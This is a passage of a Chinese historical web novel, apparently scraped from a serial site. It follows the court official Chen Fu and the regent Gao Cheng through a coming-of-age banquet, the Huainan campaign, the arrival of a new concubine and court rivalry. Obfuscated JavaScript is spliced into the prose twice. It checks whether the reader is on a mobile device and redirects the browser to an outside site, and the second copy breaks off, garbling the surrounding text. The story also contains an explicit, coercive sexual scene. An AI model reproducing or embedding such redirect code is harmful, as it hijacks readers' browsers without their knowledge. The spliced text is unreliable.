这玉凤钗并非孤品,因陈扶提过喜欢阿母的一对玉环,高澄便亲去李府看过,命人寻来同一玉脉的玉料,为她打造了整整一套头面:簪、钗、梳、篦,乃至耳珰、玉佩、臂钏、手镯,无一不全,玉质温润如一,雕工精湛绝伦。 “令月吉日,始加元服。弃尔幼志,顺尔成德。寿考惟祺,介尔景福。” 及笄礼成,陈扶起身,向皇后及众宾行礼。 台下凝视她的那双凤目,在她转身面向众人的那一刻,晕起一抹极淡的红。 夜幕降临,邺城之北,铜雀台为一人灯火通明,邺城文武百官、勋贵宗亲皆着礼服而至,冠盖云集,车马塞道。 主殿一侧,精心布置了一面长长的素色屏风墙,上以秀逸书法,抄录着陈扶自识字以来的所有诗、文、札记。 高澄虽笑称为“稚驹平日戏作,请诸公品评。”然所见者,无不赞叹,相国之女侍中,内蕴才情,傲视群伦。名士才子们环绕屏风,或捻须颔首,或低声吟哦,皆为陈娘子贺诗相应。 知李氏不善应对,高澄将宴席分了内外。外宴,百官饮宴,笙歌鼎沸,觥筹交错,是权力与交际的狂欢。而内宴,设在更为清雅的一处暖阁,李孟春一家、高浚等少数自己人及家眷,得以入内。 陈扶随高澄、陈元康于外宴待客。 她穿梭于珠光宝气的命妇夫人之间,言辞清雅,应对得体。转身与重臣交谈时,又能高妙接住他们抛出的话题,引得众人或捻须大笑,或击节赞叹。待到才子名士聚集之处,她更能融入其中,或吟诗联句,或行令猜枚,机锋百出,不让须眉。 当几位年轻武将起哄要看剑舞时,她也含笑应下。褪去碍事的外袍,借其长剑,与其场中过招。她身姿灵动,步伐迅捷,虽力量不及,却凭借巧劲与预判,格挡进退颇有章法,引得满堂轰然叫好。 高澄把玩着手中酒樽,看着他的稚驹,在这龙潭虎穴般的权力场中,如同穿花蝴蝶,又像执棋国手,将各色人等、各种场面,从容不迫地纳入她的节奏。 一种难以言喻的快感,在他胸中激荡。这感觉,比打下一座城池,收服一员猛将,更让他心旌摇曳,通体舒爽。 宴罢,那由百官呈献、在偏殿堆积如山的贺礼,便成了仅供少数人观赏的奇景。东海珊瑚、西域玛瑙、南山璞玉、北地貂裘,高澄颇有兴致地陪着陈扶一一看过,共同检阅着一份份无声的臣服。 陈扶的目光淡然地掠过那些璀璨夺目的贺礼,停在一个与周遭浮华格格不入的紫檀木匣前。 匣子打开,里面并非预想中的金玉珠翠,而是整齐叠放着十三卷素绢,以青玉为小轴,以玄绫为带,静静地躺在柔软的锦缎衬底上。 她取出最上一卷,轻轻展开。 素绢上,油彩氤氲,勾勒出东柏堂内室的轮廓,画中的女子,正跪坐案后看着舆图,指尖悬在一处关隘之上,眉宇沉凝。 画得可真像啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788363|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 第二卷展开,是午后闲适的光景。高湛溜来东柏堂,占着她午休非缠她下握槊,画中的高湛面露难色,她唇角含着丝笑意,从容自若。 陈扶拂过画中自己横执棋子的手,画者竟连她转棋子的小动作,都细致入微地绘了出来。 第三卷,是去岁冬日。庭中积雪未消,她披着斗篷,伸出手掌,接着簌簌落下的雪花,画中她的眉眼弯起,是难得的、卸下所有心防的模样。 她一幅幅细细地看。 画者笔触细腻,不仅捕捉了她的形貌姿态,更仿佛窥见了她平静外表下那些转瞬即逝的细微情绪:沉思时的忧虑,独处时的疏离,乃至那被刻意隐藏的疲惫。 最后一卷展开,回廊九曲,春影斑驳。她怀抱几卷藏书,似有心事,微低着头疾步而行。 这便是那位忘了二人总角之谊的二公子,对她的第一印象了。 高澄见她看入了迷,也凑了过来,“恩,笔意传神,墨韵生动,是邢邵?还是祖珽?” “是二公子。” 高澄一怔,他素知次子颖悟,于政务一点即透,却不知他在丹青上竟也有如此造诣。“孝珩?”他复述了一遍,那惊讶便化作了得意,笑道:“这小子,何时学得这一手?可以啊。” “拙作粗陋,让兄兄和侍中见笑了。” 一个清润声音响起。 陈扶抬头,高孝珩不知何时已静立一旁。 他穿着月白儒衫,正凝望着她,被那种眼神望着,仿佛满殿辉煌灯火,周遭一切喧嚣,都在他眼中虚化、淡去了,只剩下她一人之身影。 陈扶目光微移,却瞥见他藏在发丝间、泛着淡淡红色的耳尖。 她笑道:“二公子丹青妙手,运笔如神,稚驹当备兰亭之水、易州之墨,谢君厚赠墨宝。” 高孝珩那白玉般的耳廓上的红晕,瞬间又深了几分,他微微垂眸,声音愈发温润: “侍中谬赞,孝珩愧不敢当。雕虫小技,能入侍中青眼,已是万幸。” 八月,侯景于寿春起兵,因梁朝防守懈怠,如入无人之境般渡过长江,十月,侯景抵达建康,百道攻城。南梁各路勤王军队,云集城外,每日饮酒欢宴,不敢作战。 之后长达五月的围城,将繁华的建康熬成了人间炼狱。 高澄一直密切关注着南梁乱局,火速任命尚书辛术为淮南经略使,劝降南梁守城将领刺史。 武定七年正月,南梁宗室萧正表送子为人质,降东魏。东魏徐州刺史徐显秀遣长史刘士荣前往接应,萧正表被高澄请封为兰陵郡开国公、吴郡王,很快加授侍中、开府仪同三司等,赏赐丰厚。 二月,高澄亲率大军围攻寿春。内外交困下,王显贵开城投降。东魏的旗帜插上了寿春城头,高澄在寿春驻扎,有了萧正表这榜样,捷报一个接一个传至他案头: 南冀州刺史萧退、北兖州刺史萧祇相继归附,东徐州刺史湛海珍、北青州刺史王奉伯举州归降;青州刺史明少遐、山阳太守萧邻弃城逃走。 南豫、合、北兖、北徐、南兖诸州,江北主要州镇除了司、豫州外,全部落入他手。 寿春治所大厅的巨大舆图上,代表东魏的红色标记,已蔓延至淮南、江北,南梁国界南退至长江一线。 高澄把玩着刚送到的军报,眼底是张扬的锋芒,“淮阳太守王瑜献城投降。” 陈元康稽礼笑道:“大相国先镇后抚,乱中取利,运筹高妙,如今淮南粮仓尽在我大魏之手,军需再无后顾之忧。” 高澄的目光越过他,落在厅角的软榻上,方才还锐利如刀的眼神,瞬间柔了几分。 陈扶正端看着文书,目光停在‘城中人多身肿气急,死者什七八’‘横尸满路,烂汁满沟’的字句上,忽闻降真香笼下。 高澄扫过文书,低低一笑,“放心,孤要的不是空城。”转头对陈元康道,“长猷即刻传书度支尚书崔暹,开仓放粮,赈济归降的各郡县,传书高隆之,流民愿归农者授田,愿从军者编入乡勇……” 说罢又转向陈扶,邀功似得挑挑眉。 陈扶冲他弯起眉眼,“得民心者得天下,相国以民生为念,必得天助也!” 次日天朗气清,高澄携陈扶登临淝陵山。 山风浩荡,高澄负手立于山巅,俯瞰山下淝水蜿蜒,遥想当年苻坚投鞭断流之旧事,不禁感怀,问身侧之人道:“昔年苻坚败于淝水,今时孤取寿春,占淮南,较之苻秦,如何?” 陈扶望着壮丽山河,抬手一指那滔滔河水,以诗回道:“淮南天堑旧荆关,铁骑临江指顾间。昔闻苻王投鞭断,今见高相劈浪还。八方草木皆雄戟,寿春城阙作新篇。莫道长江限南北,长风破浪再扬帆!” 高澄听得心潮澎湃,意气昂扬,大赞,“好!好一个‘长风破浪再扬帆’!” 下山时,高澄心情极好,拉着她,与她说着幼时在怀朔的趣事。 回到治所时,堂前多了一抹陌生身影。 女子一身轻软如烟雾的天青纨帛,梳着惊鸿归云髻,端正一张鹅蛋脸,落尾眉瑞凤眼,直鼻花瓣唇,五官精致,身段柔巧。 高澄向那女子走去,拉着陈扶的手,不觉间松开了。 女子冲他屈膝行礼,轻道:“妾乃淮阳太守王瑜之女,王令姝,见过相国。” 高澄瞬间了然,这淮阳太守王瑜,原来献得不止是城啊。 “多大了?” “十七。” 高澄逼近她,目色在她周身游弋。 离得近了,能闻到她身上的沉水香,或许还叠熏着一些甲煎,不像北方偏好麝香或龙涎的馥郁,它更清悠、更内敛。 “读过什么书?” 王令姝悄退半步,“幼承庭训,读过《诗》、《礼》、《楚辞》,闲时也翻阅《昭明文选》,只是资质愚钝,未得深味。” 果然如他所料,是富有诗书之妙人,既看《昭明文选》她于六艺之道,应在李昌仪之上,又行动守仪,无半分轻浮之态,声音轻柔,所答却雅正。 这才是大家养成之闺秀啊。 不过那《昭明文选》并没有收入经、史、子书。 高澄本想问问,她可看过经史子集,可经史二字一掠过,忽觉心头一空,忙寻觅身后身影,却只看到掠过门槛的衣摆,一闪倏忽不见。 他皱了皱眉,想把人叫回来,却被王令姝的一声“相国”打断。 42.第42章 寝殿里,药味混着檀香,沉厚得压人。 甘露跪坐榻边,给娄太妃按着肩,听其呼吸渐重,知是又眯过去了。 “太妃歇着,奴去看看孩子,半时辰后再来。”她轻声说,太妃眼睫没动,打起小呼噜来,甘露掖掖被角,起身退出殿外。 裙摆扫过地面,发出窸窸窣窣的轻响,在空旷宫道里荡开一点回响。 暖阁门虚掩着,飘出点淡淡奶味,甘露进门很轻,冲奶母们一抬手,止住二人行礼,走到榻边,嘴角不自觉牵起。 儿子趴在软垫上,小手抓着她做的布老虎,‘啊啊’咬着。蠕蠕公主的女儿躺在旁边,大眼睛睁得圆圆的,看她过来,小嘴动了动。 甘露摸了摸小女娘额头,温温的。 蠕蠕公主生产时遭了大罪,娩出后又得了下红之症,不过半月,就耗干了性命。公主升霞后,她得以进晋阳宫,娄太妃特意嘱咐她,多照拂蠕蠕公主留下的孩儿,她不敢怠慢,每日除了给太妃按摩侍药,其余时辰几乎都耗在这暖阁里。 门被轻轻推开,是陈扶。 甘露示意乳母们退下,陈扶抱起甘露的儿子,孩子也不认生,伸手去抓她官袍上的玉扣。 “太妃如何?” “太妃晨起喝了碗粥,按摩时又眯着了,汤药也侍奉完了。”甘露凑近,压低声音补充,“今早太妃提起两淮归降的事,夸了相国几句,说有高王当年风范。” 陈扶“嗯”了一声,抱着孩子晃了晃,“很好。” 暖阁里静了片刻,只有孩子抠着玉扣的细碎声响。 甘露心头那点酸楚忽涌上来,轻声问:“仙主,那位王氏……不进晋阳宫么?” 前日她伺候高澄,他中衣上不知何时绣上了兰草,针脚细密得像江南雨丝。袖中的帕子,也换成了绣着墨竹的,皆是南朝推崇的君子之物,她试探着夸了句 “纹样雅致,绣工精妙”,高澄闻言笑了笑,“比你绣工还差些。” 可她心里却更酸得发涩,她给高澄绣过不少中衣帕子,费尽功夫,可如今贴身穿用的,却是‘还差些’的。 “王氏是淮阳太守之女,两淮降臣下月入邺,相国去朝邺时会带着她。” 甘露回过神,应了一声。 王氏那般受宠,自会被带在身边,不像她,整日关在阴沉古黯的殿宇里,领略窗外的月色,和窗里的寂寞。 “甘露,你很重要。”陈扶沉沉望着她,“新朝日后是兄终弟及,还是父死子继,高家会不会陷入政治内耗,大半都在你手里,你明白么?” 历史上高家自相残杀,娄太妃原因很大,太妃未来是该好好活着,还是适时退场,陈扶只能通过甘露判断、控制。 郁结渐渐散去,甘露用力点了点头,她的手,除了按摩、奉药、抱孩子,还握着更重的东西。 库部郎王松年立在殿外,见陈扶来了,忙拱手行礼,“陈侍中。”他递过一卷度支文书,“相国不在殿内,这是各侨州军府上报的度支簿册,需相国过目签发,便劳烦侍中代为转交。” 陈扶接过,“相国在东郊园囿春猎,待他回来我会提醒他。”目光掠过王松年面善的脸庞,那圆润的鼻头,像极了陈扶前世的小叔,不由生出几分亲切,闲聊道,“王郎是太原王氏,久居晋阳,可知汾河与风峪河交汇处,有个专做豆腐的村子?” 王松年眼中闪过讶异,“侍中连那里都知晓?那村子豆腐做得细嫩,下官常命下人去买呢。” “‘姑姑寨、姑姑寨,鸡儿叫鸣人不在’。说得就是那儿的村民起早贪黑磨浆点卤,天不亮就挑着担子去市集,自然是鸡叫时人已出门了。” 王松年抚掌而笑,“陈侍中竟连这乡间俗语都知!怪道人都说侍中‘万事通’。” 正闲聊间,一斥候风尘仆仆奔来,匆匆一礼,喘声道:“陈侍中!两淮经略使辛术大人密信到!” 两淮急件,恐是献城投降的要事,陈扶将密信揣入袖中,一刻也没耽搁地出了宫门。 园囿内,春猎的喧嚣散在林莽间,都督们见了她,忙都勒马行礼,“陈侍中,相国刚猎得一头青羊,正在草堂歇脚呢。” “谢都督相告。” 陈扶翻身下马,将缰绳交给圉师,沿小径绕坡而上,水汽渐浓,花香飘来,转过一丛苜蓿,在坡头住了脚。 汾水支流聚水成沼,几羽白鹅红掌轻划,搅动白莲。沼边草堂白墙为基、茅茨覆顶,东角的丹枫才抽新叶;西阶的棠梨已逢盛期,轻风拂过,花瓣簌簌飘洒,落在树下棋盘上。 王令姝身着藕荷纨帛裙,端坐棋枰前,垂眸拈棋;对坐之人一身月白褒衣,领口松着,指尖转着枚白子,唇边噙着笑意,正是高澄。 ‘便依稚驹所言,让赤霞白雪各占一隅。来日堂成,我们便来此对酒横琴,煎茶清谈,对弈比剑。’ 陈扶勾起抹幽微笑意,像被风吹皱的水面,转瞬平复。她静看了会儿,对坡头侍立的刘桃枝道,“劳烦桃枝将辛术密信转呈相国。” 高澄似有所觉地抬眼,扫过坡地,见刘桃枝正朝这边窥望,当即漫上几分愠怒,刘桃枝被那眼神一射,立时钉在原地。自两淮大捷,主子脾气见长,稍不顺心就爱用环首刀背打人,力道狠辣,得痛上半月。 若扰了其兴致,少不得要挨上几下。 高澄收回目光,注意力重落棋盘。 二人下的是围棋,王令姝的棋风是‘重意趣、轻争胜’的雅弈之道,落子偏守,却也藏着章法。高澄很喜与她对弈,他能赢,又不至赢得太轻松。 之前和陈扶下棋,虽也每每险胜,但他心里门儿清,陈扶棋品是入神坐照之境,所谓险胜,不过是他家稚驹在让着他。 吃掉一片黑子后,他懒散笑问:“这草堂如何?” “这里很好,满是山野真味,尤其这树梨花,开得素净动人。” “那枫树呢?” “令姝不好浓艳之物。”她抬眼看向枝头,轻语吟道,“不羡丹枫燃霜色,唯思棠梨落雪深。” “好句,令姝真兰心绣口。”高澄赞罢,心头忽闪过一清稚之音,笑了笑,改口道,“然枫赤梨白,实乃各具风骨。秋来醉霜天,剑气惊红雨,一样得趣。” 王令姝捏着棋子的手微顿,恭谨道:“相国深谙物趣,丹枫炽烈有山河气,棠梨素雅含林下风,皆是好景致。只是令姝生于淮阳,见惯了烟雨梨花,便更偏疼几分,并非觉枫树不好。” 话音未落,一片花瓣落在她发间,更衬得那玉容端芳清艳。 他看得眼热,一改散漫,步步紧逼,转眼便断了她退路。王令姝思索半晌,轻轻一叹,“相国棋力高深,令姝认输。” “认输便该有罚。”高澄说着,起身俯身,将人打横抱起,怀中人下意识攥住他衣襟,玉面瞬间涨红。 绛色帘帐拉着,屋内点着烛火,北墙立着一人高的铜镜,正照着床榻。 高澄将她放于案侧卧箜篌前,带着她拨奏着,是《读曲歌》,“唱给孤听。” “思欢不得来,抱被空中语。月没星不亮,持底明侬绪。一夕就郎宿,通夜语不息……” 琴弦上的手滑入衣襟,“每日用兰汤沐浴,濡养得这般滑软,原是为了取悦我这‘蛮夷’啊?” 琴弦‘铮’地一声,碎成几缕颤音,待她回神,已被抱至案上,她往侧边缩了缩,避开那盆她从淮阳带来的建兰。 “这花养得不错。”他说着,两指一捻,已将最饱满的那朵掐了下来。 “相国!”王令姝秀眉蹙起,“这建兰喜润忌燥,在晋阳存活极难,好容易养成,相国勿要暴殄天物。” 高澄将那朵建兰别在她鬓边,目光扫过她,落在案角那方刻着‘长毋相忘’的歙砚上,他伸手将砚台往跟前一拨,拿起案上狼毫,蘸了满墨。 王令姝心头一紧,下意识想拦,却被他一扯,慢条斯理写了个‘澄’字,“既好容易养成了,不给人享用,才是暴殄天物。” 将人抱起,陷进锦缎之中,将那花一拨,“孤和它一般,也喜润忌燥。” “用你们那边的话叫。”无意识漏出的乡音,令他满足一叹,弄得更狠,浑身一抖,眼泪顺着面颊滚落下来,不由自主时,他俯在她耳边,灼热低笑,“你的身体比灵魂诚实。” 花朵被彻底碾碎,他在那染上花汁的脸蛋上轻拂一把,迫她看向铜镜。 “那是谁家知礼仪懂廉耻的闺秀?动物一般与孤交/合?” 王令姝想起淮阳的春天,想起淮水边的兰草,想起父亲献城那日,对她说:“活下去,才最重要。” 帘帐拉开,春光透过窗棂,融融照进。 高澄站在窗边,望着静坐榻前的王令姝,她已沐浴过,洗去了墨迹、花痕。 她是南梁太守的嫡女,出自琅琊王氏旁支,她临的是卫夫人《名姬帖》,会仿《诗经》遗风,若非国难家变,原该是大家正室夫人。 他近前,捏着她的脸,“你心里还觉得自己是南梁臣女,觉得你父亲背弃君父,觉得本王是乱臣贼子。” “妾不敢。” 高澄冷峭一笑,“萧衍老儿佞佛,寺庙菩萨金光万丈,淮水边的百姓却易子而食,这就是你心心念念的故国?”他指尖碾过她的唇角,用了力,“你父亲投降,是救了淮阳一城军民。而本王,能让你王家比在南国更风光。你该谢他,给了淮阳百姓生路,也给了你一个更好的前程。” 话音刚落,堂外传来轻促的脚步声,刘桃枝躬身立于门帘外,“相国,方才……陈侍中来过,给了属下辛术大人密信。” 高澄脸上笑意瞬间敛去,眉峰猛地蹙起,“方才怎么不告诉我!” 刘桃枝吓得腿一软,连忙跪地,“属下……属下怕扰了相国的兴致……” “蠢货!”高澄一脚踹在榻腿上,他拔步上前,劈手夺过刘桃枝腰间的环首刀,反手用刀背狠狠在他背上一筑,刘桃枝咬着牙不敢出声。 高澄怒意稍缓,将刀掷回他面前,接过密信往袖中一拢,夺门而出。 棠梨春深,积雪般的花瓣在风中飞舞,落满曲沼,王令姝铺开纸笺,想写些什么,最终却只是搁笔。 - 东柏堂宴厅。 参加宴会的除了东魏官员,还有刚归降的南梁宗室萧正表,萧退、萧祇,刺史湛海珍、王奉伯、明少遐;太守萧邻、王瑜等。 堂内燃着龙涎香,缠绕着南方贡茶的清芬。案几排布错落,北地的烤羊腿、酥酪与南朝的醉蟹、莼羹等并列在案。东魏将领的胡服锦袍与南梁降臣的宽袖儒衫交错,席间既有北地的爽朗谈笑,也有南朝的清词雅语,看似一派南北融睦。 席到中段,以漳水为题,击鼓催花联句行令,北地接句词致宏远,南人所吟则多是拟乐府诗句。 王令姝得花后,接吟道,“汀兰含露抱清芬,漳水微波照素心。”南梁降臣纷纷赞叹:“王氏女郎之句婉丽如人,不愧琅琊余韵!”“‘素心’二字,尽显风骨。” 高澄对淮阳太守王瑜笑道:“卿为孤生了个妙人。” 击鼓声再次戛然而止时,那枝杏花落在了陈扶案头,陈扶按南朝之风笑接道,“漳流千里接云平,波照铜台夜月明。” 众皆赞清丽古雅,东徐州刺史湛海珍抱手礼道,“久闻陈侍中才名,果然名不虚传,不如侍中再接首整的,让我等再领略下大魏女官的才情?” 席间霎时静了静,南梁降臣的目光都聚了过来,高澄冲她笑笑,“便再作一首你素日之风的。” 陈扶颔首吟咏,“漳水汤汤绕帝城,铜雀巍峨接太清。万年江山今犹在,更展宏图向玉京。” 诗句落毕,炸开褒贬不一的细碎议论。山阳太守萧邻抚掌赞叹:“‘接太清’‘向玉京’,非胸有丘壑者不能为!不愧是相国之女侍中呐!”北兖州刺史萧祇皱着眉,与身旁人低声嘀咕:“小女儿家,这般张扬狂口。” 这话虽轻,却飘进了高澄耳中,手中玉杯往案上一放,“当”的一声清脆响动,瞬间压下所有议论。话是对陈扶说得,音量却满座皆可听到,“皆在吟风弄月,唯有孤的稚驹,在漳水铜台里,看见了万年江山,念着宏图大业。” 侍中杨愔立刻附和,“大王所言极是!陈侍中诗句雄浑,气吞万里,不愧为我大魏女儿!”北地将领纷纷称是。陈元康冲萧祇举盏道,“吟风弄月见雅趣,胸怀天下见格局,二者皆为难得,萧公,请。” 高澄注意力落回王令姝,她正用银器剥蟹,指尖纤细,动作轻柔,仿佛不是在进食,而是在打理一件珍玩。 “醉蟹剥后红脂满,莼羹调时玉手纤。令姝这吃相,当真风雅。”说着,夹起块烤羊肉放入其碟中,油光顺着肉块边缘滴落,王令姝眉尖一蹙,却仍依礼轻道:“谢相国。” “怎么?吃不惯?” 王令姝垂下眼睫,“妾不敢。” 高澄和她处了半月,知她于饮食一道,尽显江南士族‘食不厌精’的讲究,晨起只食蜜渍花粥,午后是形如菊瓣的千层糕,茶盏只用越窑青瓷,冲泡时必用初沸的荷露。 扫过她案上,果然,北地烤肉、蒸饼之类一箸未动,只动了兰京烹制的醉蟹、莼羹与车螯。 “往后随孤在东柏堂用膳,让兰京备办。” ‘东柏堂’三字落入耳中,陈扶缓缓转头,看他正笑看着王令姝,又缓缓转回去。 一声笑从唇边溢出。 北兖州刺史萧祇起身,对高澄拱手笑道:“相国设此华筵,佳肴美馔盈案,雅乐清声绕梁,臣今日得享这般盛情,实在酣畅尽兴!无甚贵重之物可表心意,备了点薄礼,聊酬相国款待。” 崔季舒连忙上前接过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话是呵斥,语气里却没半分怒意,崔季舒笑笑,连道‘是’‘是’。 宴会稍歇,高澄借故起身,将旁案的人儿拽起,“稚驹,随孤去醒醒酒。”也不等她应声,便揽着人往外走。 夜色已浓,廊灯摇曳,光影在她脸上明明灭灭。 “还在跟孤置气?” “稚驹不敢。相国是主上,稚驹是臣下,岂敢置气。” 那小圆脸看着‘平静’,可眼里的不舒都快溢出来了。高澄笑出了声,屈指蹭了蹭她脸颊,语气放得更软,“真不要啊?我家稚驹生得白,那鲛绡纱裁件襦裙,领口绣两枝白梅,定然好看。” 陈扶避开他的触碰,摇摇头。 “好,你不喜欢便罢了。日后凡有进献,都叫你先挑,你喜欢的便全留下,一分也不赏给旁人。如此可好?” 陈扶终于抬眸,目光撞进他带着笑意的眼底,“若真论‘赏’,稚驹不要一时之赏,只盼余生都能得相国赏赐。”她深吸一口气,叹道,“相国之安危,系着大魏社稷,牵着百姓黎元。稚驹只盼相国起心动念时,第一想的是自身安危。” 高澄愣了愣,有些懵——他说的是珍玩赏物,她怎么扯到了社稷与安危?但看她神色郑重,眼底是全然的关切,便欣然应道:“好,都依你。” - 牛车里,陈扶看着窗外,净瓶坐在对面看着她,憋了半晌还是没忍住。 “仙主,相国对那王令姝是不是很上心啊?” “恩。” 净瓶往前凑了凑,“元玉仪不过是长得好看些,胸无点墨,尚且绊住过他。这王令姝会写诗,会下棋,还会弹琴,听甘露说,她刺绣也是一把好手,想必他只会更宠。”她拉住陈扶衣袖,满面担忧,“书读得多,这原是仙主的强项呐,如今有了她……相国会不会慢慢就冷落仙主了呀?他在寿春时,可是瞧见了那王令姝,就松了仙主的手啊。” 待她噼里啪啦倒完,陈扶方开口一一答道,“人外有人,天外有天。莫说六艺胜我,便是比我更有先见方略,也不足为奇。已有之事,后必再有。能因元玉仪松手,为何不能因王令姝松手呢?” 她的语气太过平淡,平淡得像在说‘今日天气甚好’。 净瓶看她这副似乎全不在乎的模样,心里更疼了。她攥住陈扶的手,“仙主别嘴硬了。前年生辰,仙主都感动得哭成什么样了,看他转头去待其他女子好,怎么可能完全不失望呢?虽说我们是神仙,可现在都是肉体凡胎啊,怎会真没七情六欲?” 陈扶冲她笑笑,“为何感动?因为从来不觉得他对我用心,是应该的。至于失望……只要不期待,就不会失望。” 车驾停下,陈扶掀帘下车,刚站定,就愣住了——队主阿古领着所有亲卫,肃立在大门之外。 阿古见她走来,忙抱拳行礼。 “今日为何这般排布?” “嗨,相国方才下令,往后那王氏来东柏堂用膳时,堂内亲卫尽数换防至堂外。” 方才还在说‘不期待便不失望’的人,此刻只觉一股气直冲脑门,她笑了两声,点着头抬步往里走。果然,一路穿过外廊、庭院,往日里随处可见的带刀亲卫竟一个也无,连墙角值守的哨兵都没了踪影,整个东柏堂安静得只剩下她的脚步声。 走到外间,陈扶的脚步顿住。 素日里和她笑着打招呼的人不在了,案上他的经卷笔墨被收拾得干干净净,连半分人气都无。 推开内堂的门,食物香气扑面而来。 高澄与王令姝相对而坐,案上青瓷碗里盛着藕粉,上面浮着几颗莹白圆子,一味清蒸鲈鱼,一味清炒莼菜,还有几色精致小菜,皆是江南风味。 王令姝用银匙轻抿了一口藕粉,眉眼间掠过一丝惊艳,“这藕粉着实细腻,想来是磨细后又过了三重绢筛。” “算你识货。”高澄说着,指尖拈起银箸,夹了颗圆子放她匙中。 王令姝浅尝一口,真切赞道:“内馅裹着松仁、桂花,入口即化,满口桂香,真真好手艺。” 高澄抬了抬下巴,示意她尝尝旁侧的菜,“莼菜是太湖新采,鲈鱼是松江四鳃鲈,快马连夜送抵邺城,皆是鲜物。” 王令姝依言各尝了口,微微垂眸,“相国如此费心厚待,令姝受宠若惊。” 高澄闻言笑笑,“不过些许食材,谈不上厚待,你既跟了我,这点体面还是有的。” 陈扶径直走到书案边,开始核对那些堆叠的文书,将确定过的放置格架归类。 高澄瞥见她进来,目光追了她片刻,开口问道:“早膳吃过了?” “恩。” “怎么不先去暖阁脱了外衫?” “冷。” 看她那副故意当两人不存在的紧绷模样,高澄面上没什么表情,心里却觉可爱又好笑——这丫头,只怕是又吃醋了。刚要再说什么,王令姝已放下银匙道,“相国,令姝已用完了。” 高澄也不挽留,起身与她一同往外走,“午时令刘桃枝去接你。” 两人走后,进来收拾残羹的阿禛走到陈扶身边,压低声音道:“恩人,兰京、阿改他们……不对劲。” “什么?!” 43.第43章 西厢,陈扶垂足坐在西窗下,就着天光,用一块软布缓缓擦拭着软剑。门外响起脚步声,未及通传,帘子便被掀起,陈元康带着清晨的凉气走了进来。 “阿扶。”他唤了一声,也顾不上什么仪态,拿过墙角交杌坐下。 陈扶收剑入腰,起身提起案上陶壶,为他斟了盏茶,推过去。 陈元康没喝,声音压低,语速却快: “五日前,陛下下诏,封相国为齐王,加殊礼——赞拜不名,入朝不趋,剑履上殿。相国当廷推辞,陛下未许。”他语气漫上苦涩,“散朝后,相国麾下诸将并其余僚属,皆围拢上前,纷纷进言,劝相国顺势应下。唯阿耶我……哎,唯有我说‘当辞’。” “自那日后,相国待阿耶便……冷淡了。昨日听得风声,崔暹已举荐陆元规出任大行台郎,分明是要……分阿耶的权呐。” “难怪那日相国回了东柏堂,不仅没问孩儿意见,还将所欠休沐,尽数补给孩儿了。” 陈元康脸上愧悔更甚,“是阿耶……连累你了。哎!阿耶这一片赤心,为相国长远计,何以落得如此?” “相国这个反应很正常,是阿耶的问题。” “阿扶也觉得相国该接受?” “当然不该。”陈扶答得干脆,“一字王,再加那三样殊礼,意味着什么天下皆知,怎能辞让一遍便接受。我说是阿耶的问题,是因阿耶只否了主上,却没给出更周全的方略。阿耶为官多年,怎不知向上进言最忌空谈问题,而无解决之道?” 陈元康脸上红白交错,半晌才颓然道:“怪阿耶……该想好再开口的。” 陈扶走进内间,关门片刻后走出,已换好官袍。 “阿扶这是?” 取过案上那几张黄纸,叠好放入袖中,冲他笑笑,“自然是去替阿耶收拾残局。” 高澄踞坐案后,一手支颐,眉宇间凝着烦闷。 崔暹立于案前,正引荐着一位文士,“行台郎需佐理机务,上传下达,非但需文采斐然,更需明断果决,通达时务。元规昔日在……” 锦帘轻响,进来一紫袍玉带、漆纱笼冠之人。 陈扶对高澄从容一礼,瞥眼堂下二人,眼底一丝锐光闪过,像冰层下游过的鱼影。 崔暹话音戛然而止,陆元规面上瞬间多了审慎。高澄一怔,支颐的手放下来,“稚驹?你……怎么来了?” “来上职啊。”陈扶理所当然说着,看了眼他面色,又不太确定了,“莫非……稚驹数错了休沐的日子?” 高澄一时语塞。 令其休沐,就是不想当着她议论陈元□□了隔阂,既已来了,再寻借口支回去,她只怕立时便能窥见端倪,反更生间隙。 “既来了,就呆着吧。” 陈扶应声,走到案侧惯常位置,跪坐,挽袖,注砚,拈起墨锭不轻不重研磨起来。均匀细密的沙沙声,在突然安静下来的堂内显得格外清晰。 高澄清了清嗓子,给崔暹递了个眼神。 崔暹会意,总不能在陈侍中面前商议怎么分人家父亲的权,正欲另议寻常公务,一旁的陆元规却忽然开口, “相国,下官斗胆再进一言。陛下加封相国齐王,赐殊礼,虽是众望所归,却不见得是陛下本意。相国若再三坚拒,恐陛下收回呐。”他说完,眼风似有若无地扫过垂眸研墨的陈扶。 她既在此,高澄不得不问其意见,若她出言劝辞,便会被高澄厌弃;若她附和,则等于打了陈元康的脸。 果然,高澄手指在案上轻敲两下,转向陈扶,“依稚驹之见,孤该不该应下诏命?” 陈扶睁大眼睛看向高澄,露出一副十分诧异、仿佛听到什么奇怪问题的表情, “相国何会有此问?只要是忠于相国的明辨之人,都会谏言相国暂且推辞吧?” 崔暹不悦道,“陈侍中此话是何意?!” 陈扶转向他,更加‘困惑’了,“啊?难道崔公……竟会怂恿相国此刻便接受么?不能吧?崔公素来忠心,岂会如此?” “你!” 陆元规明显更沉得住气,闻言微微一笑,意味深长道:“陈侍中有如此论断,不知是出于何种考虑啊?”言下之意,自是质疑她出于私心,为父张目。 “考虑?”陈扶轻笑,目光扫过自己的紫袖,落在陆元规那身青色官服上,“我已服紫戴冠,官至内侍二品,纵是再进一步,无非仍是这身紫袍,仍侍立于相国身侧,除了相国基业之稳固,我还能有何虑?又需有何虑!” 陆元规心一沉,这话不仅为她自己辩了白,也辩白了已居高位的陈元康,还污了他! 他尚在斟酌应对,陈扶已转向崔暹,“崔公性情急峻,不知事缓则圆可以理解,可崔公不是很喜西汉刘向么?难道竟也不闻其在《战国策·秦策五》中有诗云:‘行百里者半九十。’此言末路之艰也!如今已是最后几步,崔公却要催促相国行险,却是何意?” 